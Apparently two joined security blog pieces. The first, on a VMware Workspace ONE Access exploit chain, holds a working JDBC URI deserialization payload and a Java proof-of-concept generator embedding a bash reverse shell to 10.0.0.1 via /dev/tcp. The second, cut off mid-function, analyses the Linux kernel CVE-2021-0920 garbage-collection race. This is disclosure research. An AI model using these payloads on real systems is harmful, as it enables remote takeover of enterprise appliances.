                    this._state = var1;
                    this._isDirty = false;
                }
            } catch (Exception var3) {
                log.debug(new Object[]{"failed to decode state: " + var3.getMessage()});
            }

        }
    }

At [3] the code base64 decodes the string and at [4] the code then calls deserialize:

    private boolean deserialize(byte[] var1) {
        if (var1 == null) {
            return true;
        } else {
            try {
                ByteArrayInputStream var2 = new ByteArrayInputStream(var1);
                DataInputStream var3 = new DataInputStream(var2);
                int var4 = var3.readInt();
                switch(var4) {
                case -889267490:
                    return this.deserialize_v2(var3); // 5
                default:
                    log.debug(new Object[]{"bad magic: " + var4});
                }
            } catch (Exception var5) {
                log.debug(new Object[]{"failed to de-serialize handle: " + var5.getMessage()});
            }

            return false;
        }
    }

You can probably see where this is going already. At [5] the code calls deserialize_v2 if a supplied int is -889267490:

    private boolean deserialize_v2(DataInputStream var1) throws IOException {
        byte[] var2 = Encrypt.readByteArray(var1);
        if (var2 == null) {
            log.debug(new Object[]{"failed to read cipherText"});
            return false;
        } else {
            try {
                byte[] var3 = Encrypt.decrypt(var2, new String(keyBytes_v2)); // 6
                if (var3 == null) {
                    log.debug(new Object[]{"failed to decrypt state data"});
                    return false;
                } else {
                    ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
                    ObjectInputStream var5 = new ObjectInputStream(var4);
                    this._htEvalStart = (Hashtable)var5.readObject(); // 7
                    log.debug(new Object[]{"restored " + this._htEvalStart.size() + " entries from state info"});
                    return true;
                }
            } catch (Exception var6) {
                log.warn(new Object[]{var6.getMessage()});
                return false;
            }
        }
    }

At [6] the code will call decrypt, and decrypt the string using a hardcoded key. Then at [7] the code will call readObject on the attacker supplied string. At this point we could supply our deserialization gadget right into the jdbc uri string, removing any outgoing connection requirement! Here is a proof of concept to execute the command touch /tmp/pwn:

jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%26socketFactoryArg=yv7a3gAACwQAAAAIUhcrRObG2UIAAAAQoz1rm0A08QaIZG2jKm3PvgAACuBO%252Bkf56P3LYUtlxM%252Fd9BtAjxDOFJAiL9KmHfk1p01I544KCUNyVi2UpONDLJHejQCbZi20R8JW3zg879309FDfjSabzvJ2PxvJafQqei8egUOn32BJngdb1r0jwJ8rrxsheJQc3BXJny6pma9pHciqmjJUioTfyKousm%252Fk8YiId8nFu0IX2yQS3GkvV%252FUHCz06KusffoQatuTOL465%252BChdQG88W9FGawgr7Pc9TzZTDZoy%252Bel83sU9hFqcW0oaDgQGtvsVjovnL71fsbQ2ik4C0p8lKxgGRamJmZKl5UvrWpgbOoi5ueTPvr2RgsvyrYno%252Bg3EghzuYjfgdG5owEIPAbHY39mgsjnFR5VZlJR6xmeEkadeGYfvhv%252FU9X57N6a3jmUvCpd50a96GQawp%252BmnfNx5hvp7z%252BjKuSecJ9ruTClM7P9XnU0hspHYgPIXk085Vhdh0P%252BECl%252F7pAAq0rZVEittj43DZhRDbvjqnEbd%252FvueXUK3e0Ld7PZ5oZa055dPxI7uw9FPYMEGnq6WLjFAyZT13QrnITd7uESJE82ZCgDLT7V81UHv3E9DPFPsryRITA9wAu4EycM4aGlh%252FcJzmxKCG%252Fcrt9FvzeQd4SGxhOK7i2I%252B4OUy8mjKgDh4dajVM8cVEogVqnyPWCP7ZYJsPrUlx2F6lhGo53%252BuBQzMzu2IerBZRVeE43CsxfBW1073y8FRYxX8A8w%252BaGikZUcanJ6T%252FfW0z7ENfTTXJYzt%252BNaEsZo5Q2FTeOgzg9%252BLE9d64w7P4SZ5HjIl4xnji2KjUZ2%252FGzzRhSxbsy3EyHvWJurBaNx1mOuYReexqHe7Va1mKjJHizU88T9kn6IVc8yCO9npFl%252Bh4uLAiruwHCC0YZK4O%252F%252BmfOb%252Fb3WescghMkp2s%252FxMe4bfjeomQWqzobztKry32vWM%252BovpDJHbOlTANviW50AzaXCVjGF10Ch86XAsHyiEpb44CzaMSWXV%252BfnQFw%252FRgY9uhv%252FUoUtxZs%252FmOpzSxgywFUNGaC1%252FoMXWmqJ5pne2fO2tH3EYyLhBIbK4GpTY5vzC8yRqYAyVW6LgkK%252FLZerScwc49NjWLZXMYOr9bsH2Ed2TEoy5sYUnMPmN19%252FZQqYWO2N1UaCV1D7F9V3z6fKRuhq0EyNj5RvXg%252BdUz%252FBuUzoju7Rbky1dYg3mQr4AbX94bi%252FLK5mdWlPcavJJlmBJGpxClGQmE%252BxpW2WVrQtAOGJrlcC0oTJSbe8ynPWoXbhqW3uXsNU2r5a2axQgNJfQDGomgtViDeqARbMrAoicMHIUH%252B1GDv9tLwaKMcBJC48ENoUrUfaFn68S9pFesqvjzvMB0Q%252BLmiXF9pfO02fVG5FWuMwouEYANrbnbL7MiPqoGPTwS6547LJh%252BScQ4dYc1Ga%252Bqfxh0NCXSfeetVdY7w7rilctRpe%252Fgchj6Q7SAK2%252BcX%252B0qlozTXdBhYvCOgWoXf5OYelsPJp%252BYPylKJyKC4v1fPskeZic8SA5EPKBQGmcwP09BmwD6J7t9GFMyvnxgl1Zlr5EggDqT7QXW0RhH4e%252FM7Jjhp4D%252F%252F1y8nfEfM23MqrRSZ%252B33P5xMXrbA7SgUbaC8fFlma85xpcaS1VBvs4%252FvUNs5Wsl9D2hAsiiBFu3vQiGXJVsB7KmV8Vuh2shiD8Akq5R2%252F3oSb1t%252BLm0ZcIP4MYLtvGkyfBXj81C3KKKNta4tZTpZW7MfeiXo%252FMoorn06fxlh7elFoPYLZ5eA7DB0jwBtUJ1Ay4xNgL24DnQlIwWkTrZJvdIzs0zTvFv3yYvgq4CaNwDDBbGdYufSRULnI8BAJgedXQqVkV9a3W4nK%252FYCMyczUZ%252FI2Nsslf4zqb3s1RJltGAPsHoR7YjKC1iZG1b%252BYGSN%252FyCW6RZJGxESArr3a1pcNndQUIzabKjIotYOFtMdrAdF9xXKNcMYN8qdFhAJ6PUkS%252FRuu%252F7YxM9xzpN9%252Br4JuuwnO8P6n4l9mib8J6ElX1GXw5Tc7MpdVcW%252BUqkKRLICuh1H5f53E8MO4ESJ2Ku56xvNZyJ0Ai2LDzumgORDeVJa4BLrUgeRkTZqOkYdRWHXrFTTP9HFgXobAQqj75nRkpFEQMEzbKSjdQAU%252B%252Bq2730wMh5LuVRui7HUPnvUCZDpkgDr9GDMGJitt%252FU6RtHqQmYB%252B%252FpFLr7m3g1tazYHvEyrQjBKdhv2FfijNtYaskJqkqPx3uRMSy%252F5l6wmQQlwbOTGXlAdUtVfKpO537dXFOofuN%252BuzIAQdXaLRddhE7fFhhrMwQXuj1jCDi70d%252FWBsy6lHxephuN5ANcl3IuGhx4MV0XRbZpt4MpGqJ2eZM18UCyk%252Fg4a%252Bgp0eRQWgA3KPJ9pZJiGk8EBFBeqsu2Y%252BIcVjGLKzghcdPpsBt3ef1TKUO0DZbS2RLMvA1dtq1vxGYuAIMHJ%252BxREAwSywn7ON9RqrF56hS91rlYJfBjPC%252FSurUVD98wa9WjqygmVsiI78QzExmrAmstUz5WsvLFl%252BoYKR%252FRLKYtjihNvFaSPYkbRNJ1GzKL0ZOXMyDJ3KcPeSkJa13vbJqmBO1JAuG8sfuRXjmaYNWdXI%252Bb%252Bkhs4V5o9IYnehTZgj4LHS7idmBjbWskldTDZHxofnnGKZenTPzbfsCzDKaGg5evEO6qpk%252FegKKK6ORyfxulQB0%252B5wzl0Z1TW3eLuRzi8jeo%252Fx3OOqgbLIqnfWFFfhezTnSYYBJdVEC4hwRksjZ9AReieEKYeZyqb1Hybg4w3q1H2I16iH4ku5R%252FCJnZBHcgPRZniF1Bohq79vgyJs9MAsfTwc%252F%252BAXUBbV8DnfdxoWwzLms6cqP2Bcuu86qORtOE4K5fNMEvYAy30%252FE70zdZoNMS%252BOsb0Lbl1cuxVpuwza0herBOLDBNlPMbi90pQ7Mt6OA7VwCiUW3TsdivLEPYKBQ3q5a5R0DEScmh5Y9BGYxgwXKfACbTjXHkrCcGLwSxTvEFJ4sjTxa%252By3rgVjWTXaRy91GRfcoNouIBmY%252FDj1ilIYPRBTP23a9IdO4M%252F4R%252FLlX454wJksnuTu6sTID7G1ELvBHCyFxjMAl0meovxnI1uZ6PuWDaC5ax4WIeG2PodvqHKdRLbU0OzmD8XyjdxY4c%252F%252FJQRl85xQ8LdlgWMrTTIlWy6jf0Z2ERwc5Oi7DK5WMZD9p2b3lARlNgo0LORSenjefQkIjAqEXXLpRYTAeJXmHJiK3iCnrNO2R8QmdujTPQthLQaAnoDuHf7Mt1iWnUTuwYv9e64ndK7lZ3%252FBjb4MYssgc9PavSz9tAP00jZXZbq%252BM2zl2AukG0IMtunNv86dO%252BlekCjSgv%252BGH7KxNa5Yb1dlvR62c2vhE8U%252Bq%252BEU7CR4Z8lfJoAYrHMcWqlerIdc44GskzJVKb4LbpLqCMQFx3Gh%252Fq%252FwuwguPLDiQCNnyta5d9QO3aoY4BkzimWshsgyJzesREag3YehFjvfUSl%252B2Ytn5J2aHZmx3tOPrh1fa6480lb%252BWC%252Bex40M4RjPXOQKxB07UWUvumml%252BYwA8jqCcwhz0n2gHUsFHq4UovgBlETV9r7uOTX6hDHO5ztgca6c1KUINt1LA2EzFd6Hedjzx5%252FjVJb8SyviMQl4SyCeyPRS8FMGkPda8oGAiPGyc99tcQg6XItDYG0XIw%252BN59tQ8Pvfx9EBM1TOcP7NGWb7LdZixcDnLDBw77kVwxJEvcGZ2sTqIG7VdZvNsGupRwLqqeLkEpQM4%253D

Note that your payload will need to double encode special characters. To generate the state string, I re-used VMWare’s classes:

import com.vmware.licensecheck.LicenseChecker;
import com.vmware.licensecheck.LicenseHandle;
import com.vmware.licensecheck.MyBase64;
import ysoserial.payloads.ObjectPayload.Utils;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Hashtable;
import java.io.*;

public class Poc {
    public static void main(String[] args) throws Exception {
        String shell = MyBase64.encode("bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\"".getBytes());
        Object payload = Utils.makePayloadObject("CommonsBeanutils1", String.format("sh -c $@|sh . echo echo %s|base64 -d|bash", shell));
        LicenseChecker lc = new LicenseChecker(null);
        Field handleField = LicenseChecker.class.getDeclaredField("_handle");
        handleField.setAccessible(true);
        LicenseHandle lh = (LicenseHandle)handleField.get(lc);
        Field htEvalStartField = LicenseHandle.class.getDeclaredField("_htEvalStart");
        htEvalStartField.setAccessible(true);
        Field isDirtyField = LicenseHandle.class.getDeclaredField("_isDirty");
        isDirtyField.setAccessible(true);
        Hashtable<Integer, Object> ht = new Hashtable<Integer, Object>();
        ht.put(1337, payload);
        htEvalStartField.set(lh, ht);
        isDirtyField.set(lh, true);
        handleField.set(lc, lh);
        String payload = URLEncoder.encode(URLEncoder.encode(lc.getState(), "UTF-8"), "UTF-8");
        System.out.println(String.format("(+) jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%%26socketFactoryArg=%s", payload));
    }
}

I have included the licensecheck-1.1.5.jar library in the exploit directory so that the exploit can be re-built and replicated. It should be noted that the first connection to a PostgreSQL database doesn’t need to be established for the attack to succeed so an invalid host/port is perfectly fine. Details about this attack and others similar to it can be found in the excellent blog post by Xu Yuanzhen.

The final point I will make about this is that the LicenseChecker class could have also been used to exploit CVE-2021-21985 since the licensecheck-1.1.5.jar library was loaded into the target vCenter process coupled with publicly available gadget chains.

publishCaCert and gatherConfig Privilege Escalation

This exploit was straight forward and involved overwriting the permissions of the certproxyService.sh script so that it can be modified by the horizon user.

Proof of Concept

I built three exploits called Hekate (that’s pronounced as heh-ka-teh). The first exploit leverages the MySQL JDBC driver and the second exploit leverages the PostgreSQL JDBC driver. Both exploits target the server and client sides, requiring an outbound connection to the attacker.

The third exploit leverages the PostgreSQL JDBC driver again, this time re-using the com.vmware.licensecheck.* classes and avoids any outbound network connections to the attacker. This is the exploit that was demonstrated at Black Hat USA 2022.

All three exploits can be downloaded here: https://github.com/sourceincite/hekate/.

Server-side Client-side

All the vulnerabilities used in Hekate also impacted the cloud version of the VMWare Workspace ONE Access in its default configuration.

Exposure

Using a quick favicon hash search, Shodan reveals ~700 active hosts were vulnerable at the time of discovery. Although the exposure is limited, the systems impacted are highly critical. An attacker will be able to gain access to third party systems, grant assertions and breach the perimeter of an enterprise network all of which can’t be done with your run-of-the-mill exposed IoT device.

Conclusion

The limitations of CVE-2020-4006 was that it required authentication and it was targeting port 8443. In comparison, this attack chain targets port 443 which is much more likely exposed externally. Additionally, no authentication was required all whilst achieving root access making it quite disastrous and results in the complete compromise of the affected appliance. Finally, it can be exploited in a variety of ways such as client-side or server-side without the requirement of a deserialization gadget.

References

  1. https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
  2. https://landgrey.me/blog/11/
  3. https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2 - Make JDBC Attacks Brilliant Again - Xu+Yuanzhen & Chen Hongkun.pdf
  4. https://github.com/su18/JDBC-Attack
  5. https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/
  6. https://pyn3rd.github.io/2022/06/02/Make-JDBC-Attacks-Brilliant-Again/

The quantum state of Linux kernel garbage collection CVE-2021-0920 (Part I)

10 August 2022 at 23:00

A deep dive into an in-the-wild Android exploit

Guest Post by Xingyu Jin, Android Security Research

This is part one of a two-part guest blog post, where first we'll look at the root cause of the CVE-2021-0920 vulnerability. In the second post, we'll dive into the in-the-wild 0-day exploitation of the vulnerability and post-compromise modules.

Overview of in-the-wild CVE-2021-0920 exploits

A surveillance vendor named Wintego has developed an exploit for Linux socket syscall 0-day, CVE-2021-0920, and used it in the wild since at least November 2020 based on the earliest captured sample, until the issue was fixed in November 2021.  Combined with Chrome and Samsung browser exploits, the vendor was able to remotely root Samsung devices. The fix was released with the November 2021 Android Security Bulletin, and applied to Samsung devices in Samsung's December 2021 security update.

Google's Threat Analysis Group (TAG) discovered Samsung browser exploit chains being used in the wild. TAG then performed root cause analysis and discovered that this vulnerability, CVE-2021-0920, was being used to escape the sandbox and elevate privileges. CVE-2021-0920 was reported to Linux/Android anonymously. The Google Android Security Team performed the full deep-dive analysis of the exploit.

This issue was initially discovered in 2016 by a RedHat kernel developer and disclosed in a public email thread, but the Linux kernel community did not patch the issue until it was re-reported in 2021.

Various Samsung devices were targeted, including the Samsung S10 and S20. By abusing an ephemeral race condition in Linux kernel garbage collection, the exploit code was able to obtain a use-after-free (UAF) in a kernel sk_buff object. The in-the-wild sample could effectively circumvent CONFIG_ARM64_UAO, achieve arbitrary read / write primitives and bypass Samsung RKP to elevate to root. Other Android devices were also vulnerable, but we did not find any exploit samples against them.

Text extracted from captured samples dubbed the vulnerability “quantum Linux kernel garbage collection”, which appears to be a fitting title for this blogpost.

Introduction

CVE-2021-0920 is a use-after-free (UAF) due to a race condition in the garbage collection system for SCM_RIGHTS. SCM_RIGHTS is a control message that allows unix-domain sockets to transmit an open file descriptor from one process to another. In other words, the sender transmits a file descriptor and the receiver then obtains a file descriptor from the sender. This passing of file descriptors adds complexity to reference-counting file structs. To account for this, the Linux kernel community designed a special garbage collection system. CVE-2021-0920 is a vulnerability within this garbage collection system. By winning a race condition during the garbage collection process, an adversary can exploit the UAF on the socket buffer, sk_buff object. In the following sections, we’ll explain the SCM_RIGHTS garbage collection system and the details of the vulnerability. The analysis is based on the Linux 4.14 kernel.

What is SCM_RIGHTS?

Linux developers can share file descriptors (fd) from one process to another using the SCM_RIGHTS datagram with the sendmsg syscall. When a process passes a file descriptor to another process, SCM_RIGHTS will add a reference to the underlying file struct. This means that the process that is sending the file descriptors can immediately close the file descriptor on their end, even if the receiving process has not yet accepted and taken ownership of the file descriptors. When the file descriptors are in the “queued” state (meaning the sender has passed the fd and then closed it, but the receiver has not yet accepted the fd and taken ownership), specialized garbage collection is needed. To track this “queued” state, this LWN article does a great job explaining SCM_RIGHTS reference counting, and it's recommended reading before continuing on with this blogpost.

Sending

As stated previously, a unix domain socket uses the syscall sendmsg to send a file descriptor to another socket. To explain the reference counting that occurs during SCM_RIGHTS, we’ll start from the sender’s point of view. We start with the kernel function unix_stream_sendmsg, which implements the sendmsg syscall. To implement the SCM_RIGHTS functionality, the kernel uses the structure scm_fp_list for managing all the transmitted file structures. scm_fp_list stores the list of file pointers to be passed.

struct scm_fp_list {

        short                   count;

        short                   max;

        struct user_struct      *user;

        struct file             *fp[SCM_MAX_FD];

};

unix_stream_sendmsg invokes scm_send (af_unix.c#L1886) to initialize the scm_fp_list structure, linked by the scm_cookie structure on the stack.

struct scm_cookie {

        struct pid              *pid;           /* Skb credentials */

        struct scm_fp_list      *fp;            /* Passed files         */

        struct scm_creds        creds;          /* Skb credentials      */

#ifdef CONFIG_SECURITY_NETWORK

        u32                     secid;          /* Passed security ID   */

#endif

};

To be more specific, scm_send → __scm_send → scm_fp_copy (scm.c#L68) reads the file descriptors from the userspace and initializes scm_cookie->fp which can contain SCM_MAX_FD file structures.

Since the Linux kernel uses the sk_buff (also known as socket buffers or skb) object to manage all types of socket datagrams, the kernel also needs to invoke the unix_scm_to_skb function to link the scm_cookie->fp to a corresponding skb object. This occurs in unix_attach_fds (scm.c#L103):

/*

 * Need to duplicate file references for the sake of garbage

 * collection.  Otherwise a socket in the fps might become a

 * candidate for GC while the skb is not yet queued.

 */

UNIXCB(skb).fp = scm_fp_dup(scm->fp);

if (!UNIXCB(skb).fp)

        return -ENOMEM;

The scm_fp_dup call in unix_attach_fds increases the reference count of the file descriptor that’s being passed so the file is still valid even after the sender closes the transmitted file descriptor later:

struct scm_fp_list *scm_fp_dup(struct scm_fp_list *fpl)

{

        struct scm_fp_list *new_fpl;

        int i;

        if (!fpl)

                return NULL;

        new_fpl = kmemdup(fpl, offsetof(struct scm_fp_list, fp[fpl->count]),

                          GFP_KERNEL);

        if (new_fpl) {

                for (i = 0; i < fpl->count; i++)

                        get_file(fpl->fp[i]);

                new_fpl->max = new_fpl->count;

                new_fpl->user = get_uid(fpl->user);

        }

        return new_fpl;

}

Let’s examine a concrete example. Assume we have sockets A and B. The A attempts to pass itself to B. After the SCM_RIGHTS datagram is sent, the newly allocated skb from the sender will be appended to the B’s sk_receive_queue which stores received datagrams:

unix_stream_sendmsg creates sk_buff which contains the structure scm_fp_list. The scm_fp_list has a fp pointer points to the transmitted file (A). The sk_buff is appended to the receiver queue and the reference count of A is 2.

sk_buff carries scm_fp_list structure

The reference count of A is incremented to 2 and the reference count of B is still 1.

Receiving

Now, let’s take a look at the receiver side unix_stream_read_generic (we will not discuss the MSG_PEEK flag yet, and focus on the normal routine). First of all, the kernel grabs the current skb from sk_receive_queue using skb_peek. Secondly, since scm_fp_list is attached to the skb, the kernel will call unix_detach_fds (link) to parse the transmitted file structures from skb and clear the skb from sk_receive_queue:

/* Mark read part of skb as used */

if (!(flags & MSG_PEEK)) {

        UNIXCB(skb).consumed += chunk;

        sk_peek_offset_bwd(sk, chunk);

        if (UNIXCB(skb).fp)

                unix_detach_fds(&scm, skb);

        if (unix_skb_len(skb))

                break;

        skb_unlink(skb, &sk->sk_receive_queue);

        consume_skb(skb);

        if (scm.fp)

                break;

The function scm_detach_fds iterates over the list of passed file descriptors (scm->fp) and installs the new file descriptors accordingly for the receiver:

for (i=0, cmfptr=(__force int __user *)CMSG_DATA(cm); i<fdmax;

     i++, cmfptr++)

{

        struct socket *sock;

        int new_fd;

        err = security_file_receive(fp[i]);

        if (err)

                break;

        err = get_unused_fd_flags(MSG_CMSG_CLOEXEC & msg->msg_flags

                                  ? O_CLOEXEC : 0);

        if (err < 0)

                break;

        new_fd = err;

        err = put_user(new_fd, cmfptr);

        if (err) {

                put_unused_fd(new_fd);

                break;

        }

        /* Bump the usage count and install the file. */

        sock = sock_from_file(fp[i], &err);

        if (sock) {

                sock_update_netprioidx(&sock->sk->sk_cgrp_data);

                sock_update_classid(&sock->sk->sk_cgrp_data);

        }

        fd_install(new_fd, get_file(fp[i]));

}

/*

 * All of the files that fit in the message have had their

 * usage counts incremented, so we just free the list.

 */

__scm_destroy(scm);

Once the file descriptors have been installed, __scm_destroy (link) cleans up the allocated scm->fp and decrements the file reference count for every transmitted file structure:

void __scm_destroy(struct scm_cookie *scm)

{

        struct scm_fp_list *fpl = scm->fp;

        int i;

        if (fpl) {

                scm->fp = NULL;

                for (i=fpl->count-1; i>=0; i--)

                        fput(fpl->fp[i]);

                free_uid(fpl->user);

                kfree(fpl);

        }

}

Reference Counting and Inflight Counting

As mentioned above, when a file descriptor is passed using SCM_RIGHTS, its reference count is immediately incremented. Once the recipient socket has accepted and installed the passed file descriptor, the reference count is then decremented. The complication comes from the “middle” of this operation: after the file descriptor has been sent, but before the receiver has accepted and installed the file descriptor.

Let’s consider the following scenario:

  1. The process creates sockets A and B.
  2. A sends socket A to socket B.
  3. B sends socket B to socket A.
  4. Close A.
  5. Close B.

Socket A and B form a reference count cycle.

Scenario for reference count cycle

Both sockets are closed prior to accepting the passed file descriptors.The reference counts of A and B are both 1 and can't be further decremented because they were removed from the kernel fd table when the respective processes closed them. Therefore the kernel is unable to release the two skbs and sock structures and an unbreakable cycle is formed. The Linux kernel garbage collection system is designed to prevent memory exhaustion in this particular scenario. The inflight count was implemented to identify potential garbage. Each time the reference count is increased due to an SCM_RIGHTS datagram being sent, the inflight count will also be incremented.

When a file descriptor is sent by SCM_RIGHTS datagram, the Linux kernel puts its unix_sock into a global list gc_inflight_list. The kernel increments unix_tot_inflight which counts the total number of inflight sockets. Then, the kernel increments u->inflight which tracks the inflight count for each individual file descriptor in the unix_inflight function (scm.c#L45) invoked from unix_attach_fds:

void unix_inflight(struct user_struct *user, struct file *fp)

{

        struct sock *s = unix_get_socket(fp);

        spin_lock(&unix_gc_lock);

        if (s) {

                struct unix_sock *u = unix_sk(s);

                if (atomic_long_inc_return(&u->inflight) == 1) {

                        BUG_ON(!list_empty(&u->link));

                        list_add_tail(&u->link, &gc_inflight_list);

                } else {

                        BUG_ON(list_empty(&u->link));

                }

                unix_tot_inflight++;

        }

        user->unix_inflight++;

        spin_unlock(&unix_gc_lock);

}

Thus, here is what the sk_buff looks like when transferring a file descriptor within sockets A and B:

When the file descriptor A sends itself to the file descriptor B, the reference count of the file descriptor A is 2 and the inflight count is 1. For the receiver file descriptor B, the file reference count is 1 and the inflight count is 0.

The inflight count of A is incremented

When the socket file descriptor is received from the other side, the unix_sock.inflight count will be decremented.

Let’s revisit the reference count cycle scenario before the close syscall. This cycle is breakable because any socket files can receive the transmitted file and break the reference cycle: 

The file descriptor A sends itself to the file descriptor B and vice versa. The inflight count of the file descriptor A and B is both 1 and the file reference count is both 2.

Breakable cycle before close A and B

After closing both of the file descriptors, the reference count equals the inflight count for each of the socket file descriptors, which is a sign of possible garbage:

The cycle becomes unbreakable after closing A and B. The reference count equals to the inflight count for A and B.

Unbreakable cycle after close A and B

Now, let’s check another example. Assume we have sockets A, B and 𝛼:

  1. A sends socket A to socket B.
  2. B sends socket B to socket A.
  3. B sends socket B to socket 𝛼.
  4. 𝛼 sends socket 𝛼 to socket B.
  5. Close A.
  6. Close B.

A, B and alpha form a breakable cycle.

Breakable cycle for A, B and 𝛼

The cycle is breakable, because we can get newly installed file descriptor B from the socket file descriptor 𝛼 and newly installed file descriptor A' from B’.

Garbage Collection

A high level view of garbage collection is available from lwn.net:

"If, instead, the two counts are equal, that file structure might be part of an unreachable cycle. To determine whether that is the case, the kernel finds the set of all in-flight Unix-domain sockets for which all references are contained in SCM_RIGHTS datagrams (for which f_count and inflight are equal, in other words). It then counts how many references to each of those sockets come from SCM_RIGHTS datagrams attached to sockets in this set. Any socket that has references coming from outside the set is reachable and can be removed from the set. If it is reachable, and if there are any SCM_RIGHTS datagrams waiting to be consumed attached to it, the files contained within that datagram are also reachable and can be removed from the set.

At the end of an iterative process, the kernel may find itself with a set of in-flight Unix-domain sockets that are only referenced by unconsumed (and unconsumable) SCM_RIGHTS datagrams; at this point, it has a cycle of file structures holding the only references to each other. Removing those datagrams from the queue, releasing the references they hold, and discarding them will break the cycle."

To be more specific, the SCM_RIGHTS garbage collection system was developed in order to handle the unbreakable reference cycles. To identify which file descriptors are a part of unbreakable cycles:

  1. Add any unix_sock objects whose reference count equals its inflight count to the gc_candidates list.
  2. Determine if the socket is referenced by any sockets outside of the gc_candidates list. If it is then it is reachable, remove it and any sockets it references from the gc_candidates list. Repeat until no more reachable sockets are found.
  3. After this iterative process, only sockets who are solely referenced by other sockets within the gc_candidates list are left.

Let’s take a closer look at how this garbage collection process works. First, the kernel finds all the unix_sock objects whose reference counts equals their inflight count and puts them into the gc_candidates list (garbage.c#L242):

list_for_each_entry_safe(u, next, &gc_inflight_list, link) {

        long total_refs;

        long inflight_refs;

        total_refs = file_count(u->sk.sk_socket->file);

        inflight_refs = atomic_long_read(&u->inflight);

        BUG_ON(inflight_refs < 1);

        BUG_ON(total_refs < inflight_refs);

        if (total_refs == inflight_refs) {

                list_move_tail(&u->link, &gc_candidates);

                __set_bit(UNIX_GC_CANDIDATE, &u->gc_flags);

                __set_bit(UNIX_GC_MAYBE_CYCLE, &u->gc_flags);

        }

}

Next, the kernel removes any sockets that are referenced by other sockets outside of the current gc_candidates list. To do this, the kernel invokes scan_children (garbage.c#138) along with the function pointer dec_inflight to iterate through each candidate’s sk->receive_queue. It decreases the inflight count for each of the passed file descriptors that are themselves candidates for garbage collection (garbage.c#L261):

/* Now remove all internal in-flight reference to children of

 * the candidates.

 */

list_for_each_entry(u, &gc_candidates, link)

        scan_children(&u->sk, dec_inflight, NULL);

After iterating through all the candidates, if a gc candidate still has a positive inflight count it means that it is referenced by objects outside of the gc_candidates list and therefore is reachable. These candidates should not be included in the gc_candidates list so the related inflight counts need to be restored.

To do this, the kernel will put the candidate to not_cycle_list instead and iterates through its receiver queue of each transmitted file in the gc_candidates list (garbage.c#L281) and increments the inflight count back. The entire process is done recursively, in order for the garbage collection to avoid purging reachable sockets:

/* Restore the references for children of all candidates,

 * which have remaining references.  Do this recursively, so

 * only those remain, which form cyclic references.

 *

 * Use a "cursor" link, to make the list traversal safe, even

 * though elements might be moved about.

 */

list_add(&cursor, &gc_candidates);

while (cursor.next != &gc_candidates) {

        u = list_entry(cursor.next, struct unix_sock, link);

        /* Move cursor to after the current position. */

        list_move(&cursor, &u->link);

        if (atomic_long_read(&u->inflight) > 0) {

                list_move_tail(&u->link, &not_cycle_list);

                __clear_bit(UNIX_GC_MAYBE_CYCLE, &u->gc_flags);

                scan_children(&u->sk, inc_inflight_move_tail, NULL);

        }

}

list_del(&cursor);

Now gc_candidates contains only “garbage”. The kernel restores original inflight counts from gc_candidates, moves candidates from not_cycle_list back to gc_inflight_list and invokes __skb_queue_purge for cleaning up garbage (garbage.c#L306).

/* Now gc_candidates contains only garbage.  Restore original

 * inflight counters for these as well, and remove the skbuffs

 * which are creating the cycle(s).

 */

skb_queue_head_init(&hitlist);

list_for_each_entry(u, &gc_candidates, link)

        scan_children(&u->sk, inc_inflight, &hitlist);

/* not_cycle_list contains those sockets which do not make up a

 * cycle.  Restore these to the inflight list.

 */

while (!list_empty(&not_cycle_list)) {

        u = list_entry(not_cycle_list.next, struct unix_sock, link);

        __clear_bit(UNIX_GC_CANDIDATE, &u->gc_flags);

        list_move_tail(&u->link, &gc_inflight_list);

}

spin_unlock(&unix_gc_lock);

/* Here we are. Hitlist is filled. Die. */

__skb_queue_purge(&hitlist);

spin_lock(&unix_gc_lock);

__skb_queue_purge clears every skb from the receiver queue:

/**

 *      __skb_queue_purge - empty a list

 *      @list: list to empty

 *

 *      Delete all buffers on an &sk_buff list. Each buffer is removed from

 *      the list and one reference dropped. This function does not take the

 *      list lock and the caller must hold the relevant locks to use it.

 */

void skb_queue_purge(struct sk_buff_head *list);

static inline void __skb_queue_purge(struct sk_buff_head *list)

{

        struct sk_buff *skb;

        while ((skb = __skb_dequeue(list)) != NULL)

                kfree_skb(skb);

}

There are two ways to trigger the garbage collection process:

  1. wait_for_unix_gc is invoked at the beginning of the sendmsg function if there are more than 16,000 inflight sockets
  2. When a socket file is released by the kernel (i.e., a file descriptor is closed), the kernel will directly invoke unix_gc.

Note that unix_gc is not preemptive. If garbage collection is already in process, the kernel will not perform another unix_gc invocation.

Now, let’s check this example (a breakable cycle) with a pair of sockets f00 and f01, and a single socket 𝛼:

  1. Socket f 00 sends socket f 00 to socket f 01.
  2. Socket f 01 sends socket f 01 to socket 𝛼.
  3. Close f 00.
  4. Close f 01.

Before starting the garbage collection process, the status of socket file descriptors are:

  • f 00: ref = 1, inflight = 1
  • f 01: ref = 1, inflight = 1
  • 𝛼: ref = 1, inflight = 0

f00, f01 and alpha form a breakable cycle.

Breakable cycle by f 00, f 01 and 𝛼

During the garbage collection process, f 00 and f 01 are considered garbage candidates. The inflight count of f 00 is dropped to zero, but the count of f 01 is still 1 because 𝛼 is not a candidate. Thus, the kernel will restore the inflight count from f 01’s receive queue. As a result, f 00 and f 01 are not treated as garbage anymore.

CVE-2021-0920 Root Cause Analysis

When a user receives SCM_RIGHTS message from recvmsg without the MSG_PEEK flag, the kernel will wait until the garbage collection process finishes if it is in progress. However, if the MSG_PEEK flag is on, the kernel will increment the reference count of the transmitted file structures without synchronizing with any ongoing garbage collection process. This may lead to inconsistency of the internal garbage collection state, making the garbage collector mark a non-garbage sock object as garbage to purge.

recvmsg without MSG_PEEK flag

The kernel function unix_stream_read_generic (af_unix.c#L2290) parses the SCM_RIGHTS message and manages the file inflight count when the MSG_PEEK flag is NOT set. Then, the function unix_stream_read_generic calls unix_detach_fds to decrement the inflight count. Then, unix_detach_fds clears the list of passed file descriptors (scm_fp_list) from the skb:

static void unix_detach_fds(struct scm_cookie *scm, struct sk_buff *skb)

{

        int i;

        scm->fp = UNIXCB(skb).fp;

        UNIXCB(skb).fp = NULL;

